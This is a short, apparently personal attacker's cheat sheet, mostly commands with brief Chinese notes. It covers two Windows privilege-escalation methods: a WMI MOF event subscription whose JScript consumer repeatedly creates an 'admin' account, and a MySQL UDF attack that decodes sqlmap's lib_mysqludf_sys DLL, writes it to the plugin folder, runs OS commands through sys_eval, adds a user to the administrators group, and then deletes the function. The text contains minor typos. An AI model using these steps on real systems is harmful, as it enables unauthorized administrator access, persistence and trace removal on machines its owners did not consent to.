instance of __EventFilter as $EventFilter { EventNamespace = "Root\\Cimv2"; Name = "filtP2"; Query = "Select * From __InstanceModificationEvent " "Where TargetInstance Isa \"Win32_LocalTime\" " "And TargetInstance.Second = 5"; QueryLanguage = "WQL"; };
instance of ActiveScriptEventConsumer as $Consumer { Name = "consPCSV2"; ScriptingEngine = "JScript"; ScriptText = "var WSH = new ActiveXObject(\"WScript.Shell\")\nWSH.run(\"net.exe user admin admin /add\")"; };
先将sqlmap自带的udf文件转为udf.dll文件(linux为.so文件), 在sqlmap下的sqlmap\extra\cloak\cloak.py文件 python cloak.py -d -i C:\sqlmap\data\udf\mysql\windows\64\lib_mysqludf_sys.dll_ 在mysql安装目录下存在lib/plugin目录 并且存在, 将sqlmap生成的udf文件移动到mysql对应目录下 或者将文件转为16进制 然后解码存入文件 select unhex("xxxxx16进制字符") into dumpfile "pulgin路径/udf.dll" 在mysql中引入udf文件 create function sys_eval returns string soname 'udf.dll'; 执行函数 select sys_eval("whoami"); 创建用户 net user test root /add/ root是密码 net localgroup administrators test /add 删除函数 drop function sys_eval; delect from mysql.func where name="sys_eval";